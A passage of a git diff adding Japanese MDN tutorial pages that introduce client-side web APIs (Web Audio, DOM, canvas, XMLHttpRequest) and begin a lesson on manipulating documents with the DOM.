(あるいは位置情報を得られる他のなんだか) と通信し、位置情報を取得し、コードから利用できるようにブラウザ環境に情報を戻しています。ですがここでもこの複雑な事柄は API で抽象化され隠蔽されます。</li> + <li><strong>サードパーティ API</strong> はデフォルトではブラウザに組込まれておらず、普通はコードと情報を Web のどこから読み込まねばなりません。例えば <a href="https://dev.twitter.com/overview/documentation">Twitter API</a> を使えばあなたの Web サイトにあなたの最新のツイートを表示するような事が可能になります。Twitter API は、Twitter サービスに特定の情報を要求したりするのに使える特別な構造のかたまりを提供します。</li> +</ul> + + + + + +<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p> + + + +<h3 id="JavaScript_と_API_とその他_JavaScript_ツールの関係">JavaScript と API とその他 JavaScript ツールの関係</h3> + +<p>ここまででクライアントサイド API とは何か、JavaScript 言語とどう関係しているのかお話しました。もっとはっきりさせるために一度おさらいして、ついでに他の JavaScript ツールがどう関係してくるのかもお話しましょう:</p> + +<ul> + <li>JavaScript — ブラウザに組込まれた高レベルスクリプト言語で、Web ページやアプリに機能を実装するのに使えます。<a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Node</a> のようなブラウザ以外の他のプログラミング環境でも使えるのは覚えておいて下さい。</li> + <li>ブラウザ API — ブラウザに組込みの JavaScript 言語の上にある構造で、何かの機能をもっと簡単に実装できるようにします。</li> + <li>サードパーティ API — サードパーティのプラットフォーム (Twitter や Facebook) 上に作られた構造で、それらのプラットフォームの機能を Web ページで利用できるようにします (例えばあなたの最新のツイートをあなたの Web ページに表示する)。</li> + <li>JavaScript ライブラリ — 多くは、<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Custom_functions">独自の関数</a> を含んだ一つか複数の JavaScript ファイルで、Web ページにくっつけることでスピードアップしたり共通の機能を書いたりできるものです。例えば、jQuery、Mootools や React がなどが含まれます。</li> + <li>JavaScript フレームワーク — ライブラリの一階層上にあたり、JavaScript フレームワーク (例えば Angular や Ember) は HTML や CSS に JavaScript、インストールして一から Web アプリケーションを作成するのに使えるその他もろもろの技術がパッケージ化されている場合が多いです。ライブラリとフレームワークの大きな相違点は、「制御の逆転 (Inversion of Control)」にあります。ライブラリのメソッドを呼ぶ時には、開発者がコントロールしています。フレームワークでは、コントロールが逆転します: フレームワークから開発者のコードが呼ばれるのです。</li> +</ul> + +<h2 id="API_で何ができる">API で何ができる?</h2> + +<p>モダンなブラウザではすごい数の API を利用できるので、コードからとてもいろいろな事ができます。 <a href="/ja/docs/Web/API">MDN API 索引</a>を見てみればわかると思います。</p> + +<h3 id="一般的なブラウザ_API">一般的なブラウザ API</h3> + +<p>特に、あなたが使うであろう最も一般的なブラウザ API のカテゴリ (このモジュールでとても詳しい所まで網羅していきます) は:</p> + +<ul> + <li>ブラウザで読み込んだ<strong>文書を操作するための API</strong>。一番目にする例は <a href="/ja/docs/Web/API/Document_Object_Model">DOM (Document Object Model) API</a> で、 HTML と CSS を操作できます — HTML を作成したり削除したり書き換えたり、動的に新しいスタイルをページに適用したり、などなど。例えばページにポップアップウィンドウが表われたり、何か新しい中身が表示されたりする時、DOM が使われています。この種の API については<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">ドキュメントの操作</a>でもっといろいろ見られます。</li> + <li><strong>サーバからデータ取得をする API</strong> で Web ページの一部を書き換える事はとてもよく行なわれます。この一見ちょっとした事が、サイトのパフォーマンスや振舞いに巨大なインパクトを与えました — 在庫一覧や新しいお話一覧を書き換えたい時に、サーバからページ全体をリロードする事なしにさくっとできたら、サイトやアプリはずっと反応よく素早く感じられます。これを可能にした API には <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest is an API that provides client functionality for transferring data between a client and a server. It provides an easy way to retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just a part of the page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> と <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a> が含まれています。<strong>Ajax</strong> という言葉を聞いた事があるかもしれませんが、これがこのテクニックの呼び名です。これらの API について <a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a>でもっといろいろ見られます。</li> + <li><strong>グラフィックスを描画したり操作する API</strong> は多くのブラウザがサポートしています — 最も知られているものには<a href="/docs/Web/API/Canvas_API"> Canvas</a> と <a href="/docs/Web/API/WebGL_API">WebGL</a> があり、HTML の{{htmlelement("canvas")}} 要素上にあるピクセルデータを書き換えて2次元や3次元のシーンを作成するのに使えます。例えばキャンバスAPIを使って長方形や円のような形を描いたり、キャンバスに画像を読み込んだり、セピアやグレイスケールといったフィルターを適用したり、あるいは WebGL を使ってライティングやテクスチャを使った3Dシーンを作成したりできます。これらの API はよくアニメーションループを作成するAPI({{domxref("window.requestAnimationFrame()")}} など)や他のものと組み合わせて使われ、アニメやゲームのようなものの表示を定期的に書き換えるようにします。</li> + <li><strong><a href="https://developer.mozilla.org/en-US/Apps/Fundamentals/Audio_and_video_delivery">動画と音声の API</a></strong> {{domxref("HTMLMediaElement")}}や <a href="/docs/Web/API/Web_Audio_API">Web Audio API</a> や <a href="/docs/Web/API/WebRTC_API">WebRTC</a> のような API を使うと、 マルチメディアを使ってとても面白い事ができます。音声や動画再生のための独自のコントロールUIの作成、字幕やサブタイトルのような音声トラックをビデオと一緒に表示したり、Web カメラの画像を取り込んで操作し、上述のキャンバスに表示したり Web カンファレンスに参加している他の誰かのコンピュータ上に表示したり、音声トラックにイフェクト(ゲイン、ディストーション、音場効果など)をかけたりできます。</li> + <li><strong>デバイス API</strong> は基本的に Web アプリで使えるような形で、今時のハードウェアデバイスのデータを操作したり取得する API です。デバイスの位置データにアクセスして地図上にあなたの居場所を書くような位置情報 API についてはすでにお話しました。他の例にはシステム通知を使って Web アプリに役に立つアップデートがあるのを知らせたり(<a href="/docs/Web/API/Notifications_API">Notifications API</a> を参照)、ハードウェアを振動させたり(<a href="/docs/Web/API/Vibration_API">Vibration API</a> を参照)などがあります。</li> + <li><strong>クライアント側でのデータ保持 API </strong>は今多くのブラウザに普及しつつあります。— クライアント側にデータを保存できると、ページを移動しても状態を保存したり、たとえデバイスがオフラインでも動作するようなアプリを作成したいような場合、とても役に立ちます。いくつもの選択肢があり、例えば <a href="/docs/Web/API/Web_Storage_API">Web Storage API</a> を使ったキーバリューストアや、 <a href="/docs/Web/API/IndexedDB_API">IndexedDB API</a> を使ったもっと複雑なテーブル型データ保存などです。</li> +</ul> + +<h3 id="一般的なサードパーティAPI">一般的なサードパーティAPI</h3> + +<p>サードパーティ API はバラエティーに富んでいます。あなたが遅かれ早かれ使うようになりそうな、世間でよく使われているものには以下のようなものがあります:</p> + +<ul> + <li><a href="https://dev.twitter.com/overview/documentation">Twitter API</a>、あなたの最新のツイートをあなたの Web サイトに表示したりするような事に使えます。</li> + <li><a href="https://developer.mapquest.com/">Mapquest</a> や <a href="https://developers.google.com/maps/">Google Maps API</a> のような地図の API は、あなたのWebページ上に地図を使ったあらゆる事を可能にします。</li> + <li><a href="https://developers.facebook.com/docs/">Facebook APIスイート</a>によって Facebook エコシステムの様々な部品を使ってあなたのアプリを強化できます。例えばアプリへのログインを Facebook のログインで行なったり、アプリ内での支払い、ターゲット広告を出したりなどです。</li> + <li><a href="https://core.telegram.org/api">Telegram APIs</a> を使用すると、ボットのサポートに加えて、Telegram チャネルのコンテンツを Web サイトに埋め込むことができます。</li> + <li><a href="https://developers.google.com/youtube/">YouTube API</a>を使ってあなたのサイトに YouTube のビデオを埋め込んだり、YouTube を検索したり、プレイリストを作成したりなどなどできます。</li> + <li><a href="https://developers.pinterest.com/">Pinterest API</a> は、Pinterest のボードとピンを管理して Web サイトに含めるためのツールを提供します。</li> + <li><a href="https://www.twilio.com/">Twilio API</a>はあなたのアプリで音声・ビデオ電話の機能を作成したり、SMS/MMSを送信したりなどするためのフレームワークを提供します。</li> + <li><a href="https://docs.joinmastodon.org/api/">Mastodon API</a> を使用すると、Mastodon ソーシャルネットワークの機能をプログラムで操作できます。</li> +</ul> + +<div class="note"> +<p><strong>注記</strong>: サードパーティAPIについては <a href="http://www.programmableweb.com/category/all/apis">Programmable Web API directory</a>でもっと多くの情報を見られます。</p> +</div> + +<h2 id="APIはどのように動作する">APIはどのように動作する?</h2> + +<p>異なるJavaScript APIはそれぞれに違う方法で動作しますが、普通は、共通した機能とどのように動くべきかの類似したテーマを持ちます。</p> + +<h3 id="オブジェクトに基づいています">オブジェクトに基づいています</h3> + +<p>あなたのコードは一つ以上の <a href="/docs/Learn/JavaScript/Objects">JavaScript オブジェクト</a>を通じて API とやりとりし、オブジェクトは API が使用するデータ (オブジェクトのプロパティとして持つ) や API が提供する機能(オブジェクトメソッドとして持つ) の容れ物として使われます。</p> + +<div class="note"> +<p><strong>注記</strong>: もしまだオブジェクトがどのように動作するかについて理解があやふやなら、先に進む前に <a href="/docs/Learn/JavaScript/Objects">JavaScript オブジェクト</a> モジュールを読みなおし、練習するのをおすすめします。</p> +</div> + +<p>Let's return to the example of the Web Audio API — this is a fairly complex API, which consists of a number of objects. The most obvious ones are:</p> + +<ul> + <li>{{domxref("AudioContext")}}, which represents an <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_graphs">audio graph</a> that can be used to manipulate audio playing inside the browser, and has a number of methods and properties available to manipulate that audio.</li> + <li>{{domxref("MediaElementAudioSourceNode")}}, which represents an {{htmlelement("audio")}} element containing sound you want to play and manipulate inside the audio context.</li> + <li>{{domxref("AudioDestinationNode")}}, which represents the destination of the audio, i.e. the device on your computer that will actually output it — usually your speakers or headphones.</li> +</ul> + +<p>So how do these objects interact? If you look at our <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/web-audio/index.html">simple web audio example</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/introduction/web-audio/">see it live also</a>), you'll first see the following HTML:</p> + +<pre class="brush: html notranslate"><audio src="outfoxing.mp3"></audio> + +<button class="paused">Play</button> +<br> +<input type="range" min="0" max="1" step="0.01" value="1" class="volume"></pre> + +<p>We, first of all, include an <code><audio></code> element with which we embed an MP3 into the page. We don't include any default browser controls. Next, we include a {{htmlelement("button")}} that we'll use to play and stop the music, and an {{htmlelement("input")}} element of type range, which we'll use to adjust the volume of the track while it's playing.</p> + +<p>Next, let's look at the JavaScript for this example.</p> + +<p>We start by creating an <code>AudioContext</code> instance inside which to manipulate our track:</p> + +<pre class="brush: js notranslate">const AudioContext = window.AudioContext || window.webkitAudioContext; +const audioCtx = new AudioContext();</pre> + +<p>Next, we create constants that store references to our <code><audio></code>, <code><button></code>, and <code><input></code> elements, and use the {{domxref("AudioContext.createMediaElementSource()")}} method to create a <code>MediaElementAudioSourceNode</code> representing the source of our audio — the <code><audio></code> element will be played from:</p> + +<pre class="brush: js notranslate">const audioElement = document.querySelector('audio'); +const playBtn = document.querySelector('button'); +const volumeSlider = document.querySelector('.volume'); + +const audioSource = audioCtx.createMediaElementSource(audioElement);</pre> + +<p>Next up we include a couple of event handlers that serve to toggle between play and pause when the button is pressed and reset the display back to the beginning when the song has finished playing:</p> + +<pre class="brush: js notranslate">// play/pause audio +playBtn.addEventListener('click', function() { + // check if context is in suspended state (autoplay policy) + if (audioCtx.state === 'suspended') { + audioCtx.resume(); + } + + // if track is stopped, play it + if (this.getAttribute('class') === 'paused') { + audioElement.play(); + this.setAttribute('class', 'playing'); + this.textContent = 'Pause' + // if track is playing, stop it +} else if (this.getAttribute('class') === 'playing') { + audioElement.pause(); + this.setAttribute('class', 'paused'); + this.textContent = 'Play'; + } +}); + +// if track ends +audioElement.addEventListener('ended', function() { + playBtn.setAttribute('class', 'paused'); + playBtn.textContent = 'Play'; +});</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Some of you may notice that the <code>play()</code> and <code>pause()</code> methods being used to play and pause the track are not part of the Web Audio API; they are part of the {{domxref("HTMLMediaElement")}} API, which is different but closely-related.</p> +</div> + +<p>Next, we create a {{domxref("GainNode")}} object using the {{domxref("AudioContext.createGain()")}} method, which can be used to adjust the volume of audio fed through it, and create another event handler that changes the value of the audio graph's gain (volume) whenever the slider value is changed:</p> + +<pre class="brush: js notranslate">const gainNode = audioCtx.createGain(); + +volumeSlider.addEventListener('input', function() { + gainNode.gain.value = this.value; +});</pre> + +<p>The final thing to do to get this to work is to connect the different nodes in the audio graph up, which is done using the {{domxref("AudioNode.connect()")}} method available on every node type:</p> + +<pre class="brush: js notranslate">audioSource.connect(gainNode).connect(audioCtx.destination);</pre> + +<p>The audio starts in the source, which is then connected to the gain node so the audio's volume can be adjusted. The gain node is then connected to the destination node so the sound can be played on your computer (the {{domxref("AudioContext.destination")}} property represents whatever is the default {{domxref("AudioDestinationNode")}} available on your computer's hardware, e.g. your speakers).</p> + +<h3 id="認識できる入口があります">認識できる入口があります</h3> + +<p>APIを使うときは、その API の入口がどこなのかしっかり確認するべきです。Web Audio APIではとても単純でした — それは {{domxref("AudioContext")}} オブジェクトであり、あらゆる音声操作を行うために使用する必要があります。</p> + +<p>Document Object Model (DOM) API でも単純な入口があります — これの機能は{{domxref("Document")}} もしくは何らかの方法で影響を与えたい いHTML 要素のインスタンスにぶらさがっている場合が多く、例えば:</p> + +<pre class="brush: js notranslate">const em = document.createElement('em'); // create a new em element +const para = document.querySelector('p'); // reference an existing p element +em.textContent = 'Hello there!'; // give em some text content +para.appendChild(em); // embed em inside para</pre> + +<p><a href="/docs/Web/API/Canvas_API">Canvas API</a> は、諸々を操作するために使用するコンテキストオブジェクトの取得にも依存していますが、この場合は、音声コンテキストではなく描画コンテキストです。そのコンテキストオブジェクトは、描画をしたい {{htmlelement("canvas")}} 要素への参照を取得して、 これの{{domxref("HTMLCanvasElement.getContext()")}} メソッドを呼ぶと作成されます:</p> + +<pre class="brush: js notranslate">const canvas = document.querySelector('canvas'); +const ctx = canvas.getContext('2d');</pre> + +<p>キャンバスを使って何かやろうとする場合は何でも、コンテキストオブジェクト (これは{{domxref("CanvasRenderingContext2D")}} のインスタンスです) のプロパティやメソッドを呼んで行ないます。例えば:</p> + +<pre class="brush: js notranslate">Ball.prototype.draw = function() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); +};</pre> + +<div class="note"> +<p><strong>注記</strong>: この実例を<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/bouncing-balls.html">弾むボールのデモ</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html">ライブ実行</a> も見てね)で見られます。</p> +</div> + +<h3 id="状態の変化を捉えるのにイベントを使います">状態の変化を捉えるのにイベントを使います</h3> + +<p>すでに学習コース中でイベントについてはお話しています、<a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a> — この記事でクライアント側 Web イベントとは何か、コードの中でどのように使えるのか詳しく見てきました。もしまだクライアント側 WebAPI の仕組みがよくわからいなら、この先に進む前に記事を読み直しておく方が良いでしょう。</p> + +<p>イベントを持たないWebAPIもありますが、ほとんどの WebAPI はいくつか持っています。イベントが発火した際に関数を実行できるイベントハンドラーのプロパティについては、リファレンス記事の独立した"イベントハンドラー"セクションとしておおよそ列挙されています。</p> + +<p class="simple-translate-result" style="color: rgb(0, 0, 0);">上記の Web Audio API の例では、すでにいくつかのイベントハンドラーが使用されています。</p> + +<p>別の例として、<code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> オブジェクトのインスタンス (一つ一つがサーバから何らかの新しいリソースを取得しようとするHTTPリクエストを表わします) にはとてもたくさんのイベントが付随しており、たとえば <code>load</code> イベントは発火したリソースに対する正常なレスポンスが返ってきて、それが使えるようになった時点で発火します。</p> + +<p>次のコードはこれをどう使うのか示す簡単な例です:</p> + +<pre class="brush: js notranslate">let requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +let request = new XMLHttpRequest(); +request.open('GET', requestURL); +request.responseType = 'json'; +request.send(); + +request.onload = function() { + const superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + +<div class="note"> +<p><strong>注記</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/ajax.html">ajax.html</a> でこの例の動作を見られます(<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/ajax.html">ライブ実行版</a>もどうぞ)。</p> +</div> + +<p>最初の 5 行で取得したいリソースを指定し、<code>XMLHttpRequest()</code> コンストラクタを使って新しいリクエストオブジェクトを生成し、指定のリソースを取得するために <code>GET</code> リクエストを作り、レスポンスを JSON 形式として吐き出すよう指定、そしてリクエストを送信します。</p> + +<p><code>onload</code> ハンドラー関数で私たちがレスポンスに対して何を行なうかを指定します。load イベントが発火した後には、レスポンスが正常に得られて利用できるようになっている (エラーは起きていない) とわかっていますので、JSON であるレスポンスを <code>superHeroes</code> 変数に保存し、以降の処理のために 2 つの異なる関数に引き渡しています。</p> + +<h3 id="必要なところには追加のセキュリティ機構があります">必要なところには追加のセキュリティ機構があります</h3> + +<p>WebAPI 機能は JavaScript や他の Web 技術と同等のセキュリティ上の配慮が必要です (例えば <a href="/docs/Web/Security/Same-origin_policy">same-origin ポリシー</a>) が、追加のセキュリティ機構が必要な場合もあります。例として今時の WebAPI の中に はHTTPS で配信されるページ上でしか動かないものがあり、これは機密とすべきデータをやりとりする可能性があるためです (<a href="/docs/Web/API/Service_Worker_API">ServiceWorkers</a> や <a href="/docs/Web/API/Push_API">Push</a> など)。</p> + +<p>さらには、ある種のWebAPIへの呼び出しがあなたのコードにあると、ユーザに対してそれの許可を要求します。例えば、<a href="/docs/Web/API/Notifications_API">Notifications API (通知 API)</a> はポップアップのダイアログボックスを用いて許可を要求します:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14315/notification-permission.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>Web Audio および {{domxref("HTMLMediaElement")}} API には、<a href="/docs/Web/API/Web_Audio_API/Best_practices#Autoplay_policy">自動再生 (autoplay) ポリシー</a> と呼ばれるセキュリティ機構が適用されます。これは、基本的に、ページの読み込み時に音声を自動的に再生できないことを意味します。ユーザーに次のことを許可する必要があります。ボタンのようなコントロールを介して音声再生を開始します。これは、音声の自動再生は通常非常に煩わしいものであり、ユーザーにそれを課すべきではないためです。</p> + +<div class="blockIndicator note"> +<p><strong>注記</strong>: ブラウザーの厳格さによっては、このようなセキュリティ機構により、例がローカルで機能しなくなる場合があります。つまり、ローカルの例のファイルをウェブサーバーから実行するのではなく、ブラウザーに読み込んだ場合です。執筆時点では、Web Audio API の例はローカルでは Google Chrome で動作しません。動作する前に、GitHub にアップロードする必要がありました。</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p>ここまで来れば、API とは何か、どう動くのか、あなたのJavaScript コードからどんな事ができるのかよくわかったと思います。何か API を使って楽しいことをやりたくってしょうがなくなってることと思いますので、さあ始めましょう! 次から、<u>D</u>ocument <u>O</u>bject <u>M</u>odel (DOM) を使った文書の操作を見ていきます。</p> + +<p>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">グラフィックの描画</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側ストレージ</a></li> +</ul> + +<div id="simple-translate"> +<div> +<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 11122px; left: 566px;"></div> + +<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);"> +<div class="simple-translate-result-wrapper" style="overflow: hidden;"> +<div class="simple-translate-move"></div> + +<div class="simple-translate-result-contents"> +<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p> + +<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p> +</div> +</div> +</div> +</div> +</div> diff --git a/files/ja/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/ja/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..b0c69f9d62 --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,349 @@ +--- +title: ドキュメントの操作 +slug: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +tags: + - API + - Article + - Beginner + - CodingScripting + - DOM + - Document + - Document Object Model + - JavaScript + - Learn + - Navigator + - WebAPI + - Window +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">ウェブページやアプリを書く場合に、最も多く必要になるのはウェブ文書をどうかして操作する事でしょう。これは普通ドキュメントオブジェクトモデル (Document Object Model、DOM) によって為され、DOM は HTML とスタイルに関する情報を {{domxref("Document")}} オブジェクトを多用して操作する一連の API です。この記事では、DOM の使い方を詳しく見ながら、面白い方法であなたの環境を変える事ができる興味深い他の API もいくつか見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータに関する知識と理解、HTML と CSS、JavaScript—JavaScript のオブジェクトについても—基本を理解していること</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>DOM API の核と、DOM と共によく利用される API、ドキュメントの操作について詳しくなること</td> + </tr> + </tbody> +</table> + +<h2 id="ウェブブラウザーの重要なパーツ">ウェブブラウザーの重要なパーツ</h2> + +<p>ウェブブラウザーはとてもたくさんの動いている部品からなるソフトウェアの複雑な集合体で、部品の多くはウェブ開発者の JavaScript からでは制御したり操作することはできません。こんな制約はよろしくないと思う方もいるかもしれませんが、ブラウザが保護されているのには十分な理由があって、これは主にセキュリティ関係のためです。もしあるウェブサイトがあなたが保存しているパスワードやその他の秘密情報にアクセスできて、あなたのふりをして他のサイトにログインできたらどうですか?</p> + +<p>制限はあっても、ウェブ API は、ウェブページ上でいろいろ素敵な事をできるように、たくさんの機能を提供してくれます。あなたのコードからよく参照するであろう目に見える代物はほんのわずかです — 下の図を見て下さい、この図はウェブページの表示に直接関与しているブラウザーの主要なパーツを表わしています:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14557/document-window-navigator.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>ウィンドウはウェブページが読み込まれる部分の回りのブラウザーの枠です。これは JavaScript では {{domxref("Window")}} オブジェクトで表わされます。このオブジェクトに備わるメソッドを使って、ウィンドウの大きさを調べたり ({{domxref("Window.innerWidth")}} と {{domxref("Window.innerHeight")}} を参照)、ウィンドウに読み込まれる文書を操作したり、その文書に関係するデータをクライアント側(例えばローカルデータベースや他のデータ保存機構)で保存したり、現在のウィンドウに対して<a href="/docs/Learn/JavaScript/Building_blocks/Events#A_series_of_fortunate_events">イベントハンドラー</a> を追加したり、などできます。</li> + <li>ナビゲータはブラウザーの状態やウェブで使われているようなブラウザーの身元(つまりユーザーエージェント)を表わします。JavaScript では {{domxref("Navigator")}} オブジェクトで表わされます。このオブジェクトを使って、位置情報、ユーザが好む言語、ユーザのウェブカムからの録画データ、などを取得できます。</li> + <li>ドキュメント(ブラウザーでは DOM として表現されます)はウィンドウに実際に読み込まれているページのことで、JavaScript では {{domxref("Document")}} オブジェクトで表わされます。このオブジェクトを使って文書を構成する HTML と CSS 上の情報を調べたり操作したりできて、例えば DOM の中のある要素に対する参照を得たり、その中身のテキストを変更したり、新しいスタイルを適用したり、新しい要素を作成して現在の要素の子に追加したり、一緒くたに削除したりできます。</li> +</ul> + +<p>この記事では主にドキュメントの操作に着目しますが、それ以外の役に立つこともちょっとお見せしていきます。</p> + +<h2 id="ドキュメントオブジェクトモデル">ドキュメントオブジェクトモデル</h2> + +<p>あなたのブラウザーの一つ一つのタブに今読み込まれているドキュメントは、ドキュメントオブジェクトモデルとして表現されます。これは HTML の構造に対してプログラム言語から簡単にアクセスできるようにブラウザーが作成する、"木構造"による表現です — 例えば、ページをレンダリングする際にはブラウザー自体がスタイルや他の情報を適切な要素に適用するために DOM を使い、ページのレンダリングが終わった後にはあなたのような開発者が JavaScript を使って DOM を操作できます。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> にちょっとした例を作成しました(<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">ライブ実行</a>もどうぞ)。ブラウザーから開いてみてください — これはとても簡素なページで、{{htmlelement("section")}} 要素の中に画像が一つと、一つのリンクを含む一つのパラグラフがあります。HTML のソースはこんな感じです:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Simple DOM example</title> + </head> + <body> + <section> + <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> + <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p> + </section> + </body> +</html></pre> + +<p>一方これの DOM はこんな具合になります:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<div class="note"> +<p><strong>注記</strong>: この DOM ツリーの図は Ian Hickson の <a href="https://software.hixie.ch/utilities/js/live-dom-viewer/">Live DOM viewer</a> を使って作成しました。</p> +</div> + +<p>これを見ると、それぞれのドキュメント内の要素とちょっとばかりのテキストそれぞれが、ツリーの中でそれ自身のエントリーがあるのがわかるでしょう — これら一つ一つを<strong>ノード</strong>と呼びます。またノードの種類を示す語や、ノードそれぞれの関係によりツリーでの位置があるのがわかるでしょう:</p> + +<ul> + <li><strong>エレメント(要素)ノード</strong>: DOM の中での HTML 要素です。</li> + <li><strong>ルート(根)ノード</strong>: 木の頂点のノードで、HTML の場合であれば常に <code>HTML</code> ノードになります。(SVG や独自の XML といった他のマークアップ言語の方言では異なるルート要素の場合があります)</li> + <li><strong>子ノード</strong>: 他のノードに<em>直結して</em>含まれるノードです。上の例だと、例えば <code>IMG</code> は <code>SECTION</code> の子ノードとなります。</li> + <li><strong>子孫ノード</strong>: 他のノードに<em>どのような形であれ</em>含まれるノードです。上の例だと、例えば <code>IMG</code> は <code>SECTION</code> の子ノードであり、子孫ノードでもあります。<code>IMG</code> は <code>BODY</code> の二段階内側にあるので <code>BODY</code> の子ノードではありませんが、<code>BODY</code> の子孫ノードではあります。</li> + <li><strong>親ノード</strong>: その中に他のノードを持つノードです。例えば上の例だと <code>BODY</code> は <code>SECTION</code> ノードの親ノードになります。</li> + <li><strong>兄弟ノード</strong>: DOM ツリーの同じ階層にあるノードです。上の例だと <code>IMG</code> と <code>P</code> は兄弟ノードになります。</li> + <li><strong>テキストノード</strong>: テキスト文字列を含むノードです。</li> +</ul> + +<p>これからコードを見ていくとこういう語が頻出するので、DOM を使い始める前に、これらの用語をしっかり覚えておくと良いでしょう。CSS の勉強をしているときも、これらの語をみかけることでしょう(子孫セレクター、子セレクターとか)。</p> + +<h2 id="実践学習_基本的なDOM操作">実践学習: 基本的なDOM操作</h2> + +<p>DOM 操作の学習スタートは、実践的な例から始めましょう。</p> + +<ol> + <li><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dinosaur.png">image</a> のローカルコピーを一緒に作成して下さい。</li> + <li><code><script></script></code> 要素を、閉じ<code></body></code>タグのすぐ上に追加して下さい。</li> + <li>DOM の中の要素を操作するため、まず DOM を選びだしてこれへの参照を変数に保存する必要があります。script 要素の中に、次の行を追加して下さい: + <pre class="brush: js notranslate">const link = document.querySelector('a');</pre> + </li> + <li>要素への参照を変数に保存したので、これが備えているプロパティとメソッドを使って DOM の操作を始められます (利用できるプロパティとメソッドは、たとえば {{htmlelement("a")}} 要素であれば {{domxref("HTMLAnchorElement")}} インターフェース、さらにその汎化した親のインターフェース {{domxref("HTMLElement")}} や {{domxref("Node")}} — これは DOM の全てノードが相当します — で定義されています)。まずは、リンクの中のテキストを、{{domxref("Node.textContent")}} プロパティを更新する事で変更してみましょう。上で書いた行の下に、次の行を追加して下さい: + <pre class="brush: js notranslate">link.textContent = 'Mozilla Developer Network';</pre> + </li> + <li>クリックされたときに変な場所に行かないよう、リンクが指す先の URL も変えておくべきでしょう。また下に、以下の行を追加して下さい: + <pre class="brush: js notranslate">link.href = 'https://developer.mozilla.org';</pre> + </li> +</ol> + +<div> +<p>JavaScript あるあるですが、要素を選んで変数に保存する方法にはいろんなやり方があることを頭に入れておいて下さい。{{domxref("Document.querySelector()")}} を使うのが推奨される今風のやり方ですが、これは CSS セレクタと同じ方法で要素を選別できるからです。上記の <code>querySelector()</code> 